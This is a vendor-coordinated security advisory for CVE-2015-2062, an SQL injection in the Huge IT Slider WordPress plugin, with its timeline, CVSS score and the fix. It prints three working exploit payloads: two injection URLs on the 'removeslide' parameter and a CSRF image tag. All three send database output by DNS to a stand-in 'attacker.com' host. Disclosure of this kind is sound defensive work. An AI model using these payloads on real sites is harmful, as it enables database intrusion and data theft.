SQL Injection in Huge IT Slider WordPress Plugin

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23250
Product: Huge IT Slider WordPress Plugin
Vendor: Huge-IT
Vulnerable Version(s): 2.6.8 and probably prior
Tested Version: 2.6.8
Advisory Publication:  February 19, 2015  [without technical details]
Vendor Notification: February 19, 2015 
Vendor Patch: March 11, 2015 
Public Disclosure: March 12, 2015 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2015-2062
Risk Level: Medium 
CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered an SQL injection 
vulnerability in Huge IT Slider WordPress Plugin. This vulnerability can be 
exploited by website administrators as well as anonymous attackers to inject 
and execute arbitrary SQL queries within the application’s database. 


1) SQL injection in Huge IT Slider WordPress plugin: CVE-2015-2062

The vulnerability exists due to insufficient filtration of input data passed 
via the "removeslide" HTTP GET parameter to "/wp-admin/admin.php" script when 
"task" parameter is set to "popup_posts" or "edit_cat". A remote authenticated 
attacker with administrative privileges can execute arbitrary SQL queries 
within the application’s database.

Below are two simple exploit codes that are based on DNS Exfiltration 
technique. They can be used if the database of the vulnerable application is 
hosted on a Windows system. The codes will send a DNS request requesting IP 
address for `version()` (or any other sensitive output from the database) 
subdomain of ".attacker.com" (a domain name, DNS server of which is controlled 
by the attacker).

1. Exploit example for "task=popup_posts": 
http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select
 load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 --

2. Exploit example for "task=edit_cat": 
http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=edit_cat&id=1&removeslide=(select
 load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 --

This vulnerability can be also exploited remotely by non-authenticated 
attackers using CSRF vector, since the web application is also prone to 
Cross-Site Request Forgery attacks. The attacker could use the following 
exploit code against authenticated website administrator to determine version 
of installed MySQL server:

<img 
src="http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select
 load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 --">

-----------------------------------------------------------------------------------------------

Solution:

Update to Huge IT Slider 2.7.0

More Information:
https://wordpress.org/support/topic/huge-it-slider-security-vulnerability-notification-sql-injection

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23250 - 
https://www.htbridge.com/advisory/HTB23250 - SQL Injection in Huge IT Slider 
WordPress Plugin.
[2] Huge IT Slider WordPress Plugin - http://huge-it.com/ - Huge IT slider is a 
convenient tool for organizing the images represented on your website into 
sliders. Each product on the slider is assigned with a relevant slider, which 
makes it easier for the customers to search and identify the needed images 
within the slider.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.